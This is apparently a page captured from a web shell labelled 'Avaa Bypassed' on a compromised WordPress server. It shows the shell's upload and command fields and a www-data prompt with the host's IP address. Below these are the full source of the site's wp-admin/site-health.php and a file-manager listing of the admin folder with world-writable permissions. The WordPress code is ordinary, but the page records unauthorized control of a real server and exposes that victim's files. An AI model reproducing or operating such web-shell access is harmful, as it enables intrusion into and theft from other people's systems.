[ Avaa Bypassed ]




Upload:

Command:

www-data@18.227.209.41: ~ $
<?php
/**
 * Tools Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

wp_reset_vars( array( 'action' ) );

$tabs = array(
	/* translators: Tab heading for Site Health Status page. */
	''      => _x( 'Status', 'Site Health' ),
	/* translators: Tab heading for Site Health Info page. */
	'debug' => _x( 'Info', 'Site Health' ),
);

/**
 * Filters the extra tabs for the Site Health navigation bar.
 *
 * Add a custom page to the Site Health screen, based on a tab slug and label.
 * The label you provide will also be used as part of the site title.
 *
 * @since 5.8.0
 *
 * @param string[] $tabs An associative array of tab labels keyed by their slug.
 */
$tabs = apply_filters( 'site_health_navigation_tabs', $tabs );

$wrapper_classes = array(
	'health-check-tabs-wrapper',
	'hide-if-no-js',
	'tab-count-' . count( $tabs ),
);

$current_tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : '' );

$title = sprintf(
	// translators: %s: The currently displayed tab.
	__( 'Site Health - %s' ),
	( isset( $tabs[ $current_tab ] ) ? esc_html( $tabs[ $current_tab ] ) : esc_html( reset( $tabs ) ) )
);

if ( ! current_user_can( 'view_site_health_checks' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access site health information.' ), '', 403 );
}

wp_enqueue_style( 'site-health' );
wp_enqueue_script( 'site-health' );

if ( ! class_exists( 'WP_Site_Health' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}

if ( 'update_https' === $action ) {
	check_admin_referer( 'wp_update_https' );

	if ( ! current_user_can( 'update_https' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site to HTTPS.' ), 403 );
	}

	if ( ! wp_is_https_supported() ) {
		wp_die( __( 'It looks like HTTPS is not supported for your website at this point.' ) );
	}

	$result = wp_update_urls_to_https();

	wp_redirect( add_query_arg( 'https_updated', (int) $result, wp_get_referer() ) );
	exit;
}

$health_check_site_status = WP_Site_Health::get_instance();

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'This screen allows you to obtain a health diagnosis of your site, and displays an overall rating of the status of your installation.' ) . '</p>' .
				'<p>' . __( 'In the Status tab, you can see critical information about your WordPress configuration, along with anything else that requires your attention.' ) . '</p>' .
				'<p>' . __( 'In the Info tab, you will find all the details about the configuration of your WordPress site, server, and database. There is also an export feature that allows you to copy all of the information about your site to the clipboard, to help solve problems on your site when obtaining support.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/site-health-screen/">Documentation on Site Health tool</a>' ) . '</p>'
);

// Start by checking if this is a special request checking for the existence of certain filters.
$health_check_site_status->check_wp_version_check_exists();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="health-check-header">
	<div class="health-check-title-section">
		<h1>
			<?php _e( 'Site Health' ); ?>
		</h1>
	</div>

	<?php
	if ( isset( $_GET['https_updated'] ) ) {
		if ( $_GET['https_updated'] ) {
			wp_admin_notice(
				__( 'Site URLs switched to HTTPS.' ),
				array(
					'type'        => 'success',
					'id'          => 'message',
					'dismissible' => true,
				)
			);
		} else {
			wp_admin_notice(
				__( 'Site URLs could not be switched to HTTPS.' ),
				array(
					'type'        => 'error',
					'id'          => 'message',
					'dismissible' => true,
				)
			);
		}
	}
	?>

	<div class="health-check-title-section site-health-progress-wrapper loading hide-if-no-js">
		<div class="site-health-progress">
			<svg aria-hidden="true" focusable="false" width="100%" height="100%" viewBox="0 0 200 200" version="1.1" xmlns="http://www.w3.org/2000/svg">
				<circle r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
				<circle id="bar" r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
			</svg>
		</div>
		<div class="site-health-progress-label">
			<?php _e( 'Results are still loading&hellip;' ); ?>
		</div>
	</div>

	<nav class="<?php echo implode( ' ', $wrapper_classes ); ?>" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<?php
		$tabs_slice = $tabs;

		/*
		 * If there are more than 4 tabs, only output the first 3 inline,
		 * the remaining links will be added to a sub-navigation.
		 */
		if ( count( $tabs ) > 4 ) {
			$tabs_slice = array_slice( $tabs, 0, 3 );
		}

		foreach ( $tabs_slice as $slug => $label ) {
			printf(
				'<a href="%s" class="health-check-tab %s">%s</a>',
				esc_url(
					add_query_arg(
						array(
							'tab' => $slug,
						),
						admin_url( 'site-health.php' )
					)
				),
				( $current_tab === $slug ? 'active' : '' ),
				esc_html( $label )
			);
		}
		?>

		<?php if ( count( $tabs ) > 4 ) : ?>
			<button type="button" class="health-check-tab health-check-offscreen-nav-wrapper" aria-haspopup="true">
				<span class="dashicons dashicons-ellipsis"></span>
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Toggle extra menu items' );
					?>
				</span>

				<div class="health-check-offscreen-nav">
					<?php
					// Remove the first few entries from the array as being already output.
					$tabs_slice = array_slice( $tabs, 3 );
					foreach ( $tabs_slice as $slug => $label ) {
						printf(
							'<a href="%s" class="health-check-tab %s">%s</a>',
							esc_url(
								add_query_arg(
									array(
										'tab' => $slug,
									),
									admin_url( 'site-health.php' )
								)
							),
							( isset( $_GET['tab'] ) && $_GET['tab'] === $slug ? 'active' : '' ),
							esc_html( $label )
						);
					}
					?>
				</div>
			</button>
		<?php endif; ?>
	</nav>
</div>

<hr class="wp-header-end">

<?php
if ( isset( $_GET['tab'] ) && ! empty( $_GET['tab'] ) ) {
	/**
	 * Fires when outputting the content of a custom Site Health tab.
	 *
	 * This action fires right after the Site Health header, and users are still subject to
	 * the capability checks for the Site Health page to view any custom tabs and their contents.
	 *
	 * @since 5.8.0
	 *
	 * @param string $tab The slug of the tab that was requested.
	 */
	do_action( 'site_health_tab_content', $_GET['tab'] );

	require_once ABSPATH . 'wp-admin/admin-footer.php';
	return;
} else {
	wp_admin_notice(
		__( 'The Site Health check requires JavaScript.' ),
		array(
			'type'               => 'error',
			'additional_classes' => array( 'hide-if-js' ),
		)
	);
	?>

<div class="health-check-body health-check-status-tab hide-if-no-js">
	<div class="site-status-all-clear hide">
		<p class="icon">
			<span class="dashicons dashicons-smiley" aria-hidden="true"></span>
		</p>

		<p class="encouragement">
			<?php _e( 'Great job!' ); ?>
		</p>

		<p>
			<?php _e( 'Everything is running smoothly here.' ); ?>
		</p>
	</div>

	<div class="site-status-has-issues">
		<h2>
			<?php _e( 'Site Health Status' ); ?>
		</h2>

		<p><?php _e( 'The site health check shows information about your WordPress configuration and items that may need your attention.' ); ?></p>

		<div class="site-health-issues-wrapper hidden" id="health-check-issues-critical">
			<h3 class="site-health-issue-count-title">
				<?php
					/* translators: %s: Number of critical issues found. */
					printf( _n( '%s critical issue', '%s critical issues', 0 ), '<span class="issue-count">0</span>' );
				?>
			</h3>

			<p><?php _e( 'Critical issues are items that may have a high impact on your sites performance or security, and resolving these issues should be prioritized.' ); ?></p>

			<div id="health-check-site-status-critical" class="health-check-accordion issues"></div>
		</div>

		<div class="site-health-issues-wrapper hidden" id="health-check-issues-recommended">
			<h3 class="site-health-issue-count-title">
				<?php
					/* translators: %s: Number of recommended improvements. */
					printf( _n( '%s recommended improvement', '%s recommended improvements', 0 ), '<span class="issue-count">0</span>' );
				?>
			</h3>

			<p><?php _e( 'Recommended items are considered beneficial to your site, although not as important to prioritize as a critical issue, they may include improvements to things such as; Performance, user experience, and more.' ); ?></p>

			<div id="health-check-site-status-recommended" class="health-check-accordion issues"></div>
		</div>
	</div>

	<div class="site-health-view-more">
		<button type="button" class="button site-health-view-passed" aria-expanded="false" aria-controls="health-check-issues-good">
			<?php _e( 'Passed tests' ); ?>
			<span class="icon"></span>
		</button>
	</div>

	<div class="site-health-issues-wrapper hidden" id="health-check-issues-good">
		<h3 class="site-health-issue-count-title">
			<?php
				/* translators: %s: Number of items with no issues. */
				printf( _n( '%s item with no issues detected', '%s items with no issues detected', 0 ), '<span class="issue-count">0</span>' );
			?>
		</h3>

		<div id="health-check-site-status-good" class="health-check-accordion issues"></div>
	</div>
</div>

<script id="tmpl-health-check-issue" type="text/template">
	<h4 class="health-check-accordion-heading">
		<button aria-expanded="false" class="health-check-accordion-trigger" aria-controls="health-check-accordion-block-{{ data.test }}" type="button">
			<span class="title">{{ data.label }}</span>
			<# if ( data.badge ) { #>
				<span class="badge {{ data.badge.color }}">{{ data.badge.label }}</span>
			<# } #>
			<span class="icon"></span>
		</button>
	</h4>
	<div id="health-check-accordion-block-{{ data.test }}" class="health-check-accordion-panel" hidden="hidden">
		{{{ data.description }}}
		<# if ( data.actions ) { #>
			<div class="actions">
				{{{ data.actions }}}
			</div>
		<# } #>
	</div>
</script>

	<?php
}
require_once ABSPATH . 'wp-admin/admin-footer.php';

Filemanager

Name Type Size Permission Actions
css Folder 0777
images Folder 0777
includes Folder 0777
js Folder 0755
maint Folder 0777
network Folder 0777
user Folder 0777
about.php File 16.59 KB 0777
admin-ajax.php File 5.03 KB 0777
admin-footer.php File 2.77 KB 0777
admin-functions.php File 406 B 0777
admin-header.php File 8.86 KB 0777
admin-post.php File 2.02 KB 0777
admin.php File 12.27 KB 0777
async-upload.php File 4.74 KB 0777
authorize-application.php File 10.09 KB 0777
comment.php File 11.35 KB 0777
contribute.php File 5.59 KB 0777
credits.php File 3.75 KB 0777
custom-background.php File 416 B 0777
custom-header.php File 426 B 0777
customize.php File 10.87 KB 0777
edit-comments.php File 14.38 KB 0777
edit-form-advanced.php File 28.86 KB 0777
edit-form-blocks.php File 12.96 KB 0777
edit-form-comment.php File 8.34 KB 0777
edit-link-form.php File 6.21 KB 0777
edit-tag-form.php File 10.44 KB 0777
edit-tags.php File 22 KB 0777
edit.php File 19.48 KB 0777
erase-personal-data.php File 7.33 KB 0777
export-personal-data.php File 7.75 KB 0777
export.php File 11.02 KB 0777
freedoms.php File 4.5 KB 0777
import.php File 7.48 KB 0777
index.php File 7.68 KB 0644
install-helper.php File 6.8 KB 0777
install.php File 17.1 KB 0777
link-add.php File 938 B 0777
link-manager.php File 4.26 KB 0777
link-parse-opml.php File 2.63 KB 0777
link.php File 2.89 KB 0777
load-scripts.php File 2.02 KB 0777
load-styles.php File 2.56 KB 0777
media-new.php File 3.18 KB 0777
media-upload.php File 3.49 KB 0777
media.php File 819 B 0777
menu-header.php File 9.83 KB 0777
menu.php File 16.67 KB 0777
moderation.php File 307 B 0777
ms-admin.php File 196 B 0777
ms-delete-site.php File 4.19 KB 0777
ms-edit.php File 216 B 0777
ms-options.php File 229 B 0777
ms-sites.php File 215 B 0777
ms-themes.php File 217 B 0777
ms-upgrade-network.php File 219 B 0777
ms-users.php File 215 B 0777
my-sites.php File 4.74 KB 0777
nav-menus.php File 48.12 KB 0777
network.php File 5.39 KB 0777
options-discussion.php File 15.4 KB 0777
options-general.php File 21.51 KB 0777
options-head.php File 548 B 0777
options-media.php File 6.35 KB 0777
options-permalink.php File 21.21 KB 0777
options-privacy.php File 9.95 KB 0777
options-reading.php File 10.03 KB 0777
options-writing.php File 9.1 KB 0777
options.php File 13.45 KB 0777
plugin-editor.php File 13.42 KB 0777
plugin-install.php File 6.96 KB 0777
plugins.php File 30.01 KB 0777
post-new.php File 2.7 KB 0777
post.php File 9.97 KB 0777
press-this.php File 2.34 KB 0777
privacy-policy-guide.php File 3.67 KB 0777
privacy.php File 2.48 KB 0777
profile.php File 283 B 0777
revision.php File 5.47 KB 0777
setup-config.php File 17.48 KB 0777
site-editor.php File 5.96 KB 0777
site-health-info.php File 3.97 KB 0777
site-health.php File 10.14 KB 0777
term.php File 2.2 KB 0777
theme-editor.php File 15.42 KB 0777
theme-install.php File 23.37 KB 0777
themes.php File 46.95 KB 0777
tools.php File 3.43 KB 0777
update-core.php File 45.43 KB 0777
update.php File 12.79 KB 0777
upgrade-functions.php File 341 B 0777
upgrade.php File 5.57 KB 0777
upload.php File 14.85 KB 0777
user-edit.php File 39.6 KB 0777
user-new.php File 23.97 KB 0777
users.php File 23.29 KB 0777
widgets-form-blocks.php File 4.97 KB 0777
widgets-form.php File 19.17 KB 0777
widgets.php File 1.09 KB 0777